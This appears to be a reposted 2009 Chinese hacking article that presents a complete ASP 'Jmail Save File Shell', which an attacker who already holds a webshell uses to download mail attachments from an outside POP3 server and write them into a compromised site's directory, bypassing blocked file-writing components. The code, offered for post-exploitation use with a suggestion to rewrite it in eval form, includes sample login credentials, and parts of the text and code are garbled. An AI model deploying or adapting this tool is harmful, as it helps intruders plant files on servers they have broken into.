专注于互联网--专注于架构

最新标签
网站地图
文章索引
Rss订阅

首页 »安全 » 硬盘文件写保护:用Jmail写文件进硬盘 »正文

硬盘文件写保护:用Jmail写文件进硬盘

来源: 发布时间:星期六, 2009年9月12日 浏览:2次 评论:0
=tpc_content>其实只算个模板,具体如果可以写这个ASP进主机话,就背离了写这个意义了.
Jmail是现在非常流行个Mail组件,可以以简单代码实现SMTP\POP3功能.DVBBS\BBSXP等WEB脚本都有使用Jmail选项功能.

如果当我们以某种方式获得了WEBSHELL,比如差异备份,Or MSSQL SA Inj,比如inj Datebase Viz tinyshell,Or Other Way....但是我们无法向服务器传送文件,当然前提是如果不能使用FSO\Adodb.Stream\执行(Shell.application\Wscript.shell)等方式情况下.

这个时候在渗透情况下似乎是道嵌.不过Jmail直有个Savetofile动作,可以将Attachments保存到指定路径..
那么很简单了.只要涌以下代码就可以实现了....应该算是突破Stream\Fso等方式向硬盘里写文件方式种吧,来自第3方组件也算种不错行为.

以下方式请大家自行改成execute或eval版本..

<%
  'codz by kEvin1986 [S4T]
  User=Request.Form("User")
  Pass=Request.Form("Pass")
  Popserver=Request.Form("Popserver")

   User<>"" and Pass<>"" and Popserver<>"" then
    Set objmail = CreateObject( "JMail.POP3" )
    objmail.Connect User, Pass, Popserver

     objmsg=CreateObject("jmail.message")
    Set objmsg = objmail.Messages.item(1)
    separator = ", "
    response.write "Attachment Name is: " & SaveAtta & "<br>"
    objmail.Disconnect
  End

  Function SaveAtta
    Set Attachments = objmsg.Attachments
    separator = ", "
    response.write "The size of this Attachment is: " & objmsg.size & "<br>"
    For i = 0 To Attachments.Count - 1
    If i = Attachments.Count - 1 Then
      separator = ""
    End If

    Set Theatta = Attachments(i)
    response.write Theatta.Name
    Theatta.SaveToFile(Server.Mappath(".") & "\" & Theatta.Name)
    Response.write "Oh!Hey Guy.....That's OK!"
    Next
  End Function
%>

<Html>
<Head>
<Title>Jmail Save File Shell</Title>
</Head>
<Body>
<Center>
<Form Method="POST">
User: <input name="User" type=text value="kevin1986"><br>
Pass: <input name="Pass" type=text value="1986lovinghuan"><br>
POP3: <input name="Popserver" type=text value="pop.163.com"><br>
<input type=submit value="Get the Attachments Of the First Mail">
</Form>
</Center>
</Body>
</Html>


  • 篇文章: 动态监控技术在缓冲区溢出检测中应用

  • 篇文章: vBulletin3论坛最新攻击和防范
  • 0

    相关文章

    读者评论

    发表评论

    • 昵称:
    • 内容: